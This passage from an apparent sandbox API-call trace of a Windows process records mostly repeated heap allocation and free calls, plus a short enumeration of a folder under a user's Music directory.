Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.824] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.824] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.825] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.825] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.826] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.826] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.827] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.827] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.828] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.828] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\gq6jQz3\\") returned="gq6jQz3\\" [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.829] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.829] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.829] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.830] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.830] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.830] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.830] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.830] PathFindFileNameW (pszPath="") returned="" [0126.830] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\gq6jQz3\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeada1f0, ftCreationTime.dwHighDateTime=0x1d4cbb6, ftLastAccessTime.dwLowDateTime=0x7eb775a0, ftLastAccessTime.dwHighDateTime=0x1d4cdc9, ftLastWriteTime.dwLowDateTime=0x7eb775a0, ftLastWriteTime.dwHighDateTime=0x1d4cdc9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.831] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeada1f0, ftCreationTime.dwHighDateTime=0x1d4cbb6, ftLastAccessTime.dwLowDateTime=0x7eb775a0, ftLastAccessTime.dwHighDateTime=0x1d4cdc9, ftLastWriteTime.dwLowDateTime=0x7eb775a0, ftLastWriteTime.dwHighDateTime=0x1d4cdc9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.831] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeada1f0, ftCreationTime.dwHighDateTime=0x1d4cbb6, ftLastAccessTime.dwLowDateTime=0x7eb775a0, ftLastAccessTime.dwHighDateTime=0x1d4cdc9, ftLastWriteTime.dwLowDateTime=0x7eb775a0, ftLastWriteTime.dwHighDateTime=0x1d4cdc9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0126.831] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.831] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.831] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.831] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.831] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.832] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.832] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.833] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.833] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.833] RtlAllocateHeap 